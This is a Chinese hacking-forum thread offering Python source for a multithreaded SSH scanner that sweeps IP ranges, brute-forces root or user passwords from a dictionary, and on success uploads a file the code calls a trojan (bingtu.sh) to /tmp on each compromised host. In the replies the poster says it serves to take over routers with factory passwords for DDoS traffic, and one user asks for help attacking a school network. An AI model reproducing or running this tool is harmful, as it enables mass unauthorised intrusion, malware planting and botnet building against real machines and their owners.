吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8777|回复: 20
收起左侧

[Python 转载] 简易python多线程扫描爆破ssh源码

[复制链接]
oflinux 发表于 2018-6-13 19:42
本帖最后由 oflinux 于 2018-6-13 19:49 编辑


扫描爆破效率与字典大小成正比

[Python] 纯文本查看 复制代码
#!/usr/bin/env python
# coding=utf-8

from IPy import IP
import socket,os,re,multiprocessing,paramiko
import threading,time
import os.path
from paramiko import SSHClient
from paramiko import AutoAddPolicy
from time import ctime

#---------->定义变量<---------#
#-- 密码文件
password_file=os.path.join(os.getcwd(),"passwd.txt_bak")
#-- ip文件
ip_file=os.path.join(os.getcwd(),"ip.txt")
#-- 执行文件目录
Trojans_file_dir=os.getcwd()+"/include_files"

remote_dir="/tmp"
username="ops"
timeout_time=1
port=22
threads_num=200


#读取ip列表然后将每行ip循环出来,最终存入alllines数组
def loop_ip_everyline():
    with open(ip_file,'r') as f:
        alllines=f.readlines()
    return alllines

#最终输出ip格式的ip地址,最终保存在real_ips数组
def process_ip(line):
    real_ips=[]
    ip= IP(line,make_net=True)
    ips=IP(ip)
    for real_ip in ips:
        rule="(\d+\.){3}(0|255)$"
        x=re.compile(rule)
        if x.search(str(real_ip)) is  None:
            real_ips.append(real_ip)
    return real_ips

# 扫描指定ip的指定端口,输出所有开放了22端口的主机,终保存在last_open_ip_list数组
last_open_ip_list=[]
def scan(ip_addr):
    s = socket.socket()
    s.settimeout(timeout_time)
    if s.connect_ex((ip_addr, port)) == 0:
        return ip_addr
    s.close()

def put_Trojans(ip_addr,password):
    try:
        t = paramiko.Transport((ip_addr,int(port)))
        t.connect(username="root",password=password)
        sftp=paramiko.SFTPClient.from_transport(t)
        sftp.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
        t.close()
    except Exception,e:
        print e
        print 'upload files failed:'+ip_addr

def try_password (ip_addr,password):
    try:
        ssh = SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(AutoAddPolicy())
        #print  "当前处理的ip是",ip_addr,"密码是"+password,ctime()
        ssh.connect(ip_addr,port,username,password,pkey=None,timeout = 2,allow_agent=False,look_for_keys=False,banner_timeout=5)
        print "目标ip"+ip_addr+"password",ctime() 
        sftpclient = ssh.open_sftp()
        sftpclient.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
        ssh.close()
        sftpclient.close()
    except Exception, e:
        print e
        #print "%s processing %s %s" % (name, ip_addr,password),ctime(),"\n"
        #print "匹配中\n"
        pass
        


if __name__ == "__main__":
    #将ip列表中的所有地址范围以ip格式存入数组last_ip_list
    print "将ip列表中的所有地址范围以ip格式存入数组last_ip_list........."
    print "破解开始"+ctime()
    alllines=loop_ip_everyline()
    ip_addr_list=[]
    for  line in alllines:
        real_ips=process_ip(line)
        for x in real_ips:
            ip_addr_list.append(str(x))

    
    #循环扫描各个ip的22端口,将最终开放了22端口的ip地址以数组的形式存入last_ip_list
    pool = multiprocessing.Pool(processes=threads_num)
    result=[]
    print "扫描端口开始"+ctime()
    for ip_addr in ip_addr_list:
        #print "扫描%s端口中..................." % ip_addr
        result.append(pool.apply_async(scan, args=(ip_addr,)))
    pool.close()
    pool.join()
    last_ip_list=[]
    for x in result:
        if x.get() is not None:
            last_ip_list.append(x.get())
    print "匹配的ip是",last_ip_list
    print "匹配的ip是",last_ip_list

    print "端口扫描完成"+ctime()
    #循环匹配开放了22端口主机的密码
    password_list = [i.strip() for i in open(password_file,'r')]
    threads = []

    # 创建新线程
    #n=0
    print "破解密码,传马开始"+ctime()
    #for ip_addr in last_ip_list:
    #    for password in password_list:
    #        #n=n+1
    #        thread = threading.Thread(target=try_password,args=(ip_addr,password))
    #        thread.setDaemon(True)
    #        thread.start()
    #        threads.append(thread)
    #        #print threading.activeCount()
    paramiko.util.log_to_file('paramiko.log') 
    pool_1 = multiprocessing.Pool(processes=300)
    for ip_addr in last_ip_list:
        for password in password_list:
            #n=n+1
            pool_1.apply_async(try_password, args=(ip_addr,password,))
    pool_1.close()
    pool_1.join()
    ## 等待所有线程完成
    #for t in threads:
    #    t.join()

    print "结束"+ctime()

简易多线程python ssh爆破.rar

9.02 KB, 下载次数: 190, 下载积分: 吾爱币 -1 CB

通用字典

免费评分

参与人数 5吾爱币 +8 热心值 +5 收起 理由
tricky + 1 + 1 我很赞同!
wushaominkk + 3 + 1 鼓励新人贴!
z741571 + 1 + 1 我很赞同!
dazhige + 1 + 1 谢谢@Thanks!
cs001 + 2 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

qq519165351 发表于 2018-6-13 21:25
QQ截图20180613212431.png

这是什么问题
 楼主| oflinux 发表于 2018-6-13 20:28

用处就多了 爆破一些特定出厂密码路由器用这些流量来做ddos
mosou 发表于 2018-6-13 19:43
 楼主| oflinux 发表于 2018-6-13 19:46
mosou 发表于 2018-6-13 19:43
这要是复杂密码得破到啥时候

复杂密码加复杂字典 单机无解 时间问题 其实爆破也能做分布式一台机器跑一部分字典
头像被屏蔽
小魔。 发表于 2018-6-13 20:07
提示: 作者被禁止或删除 内容自动屏蔽
demaxiya 发表于 2018-6-13 20:51
能告诉我咋用嘛  小白 学习一下
caoliu1024ba 发表于 2018-6-13 20:59
挂机慢慢爆破 不错
we6100 发表于 2018-6-13 21:01
最多 是破解简单的 登录吧
ing 发表于 2018-6-13 21:10
来个简单点的,我想日学校网
twqdev 发表于 2018-6-13 21:18
厉害,楼主  这个!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 14:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表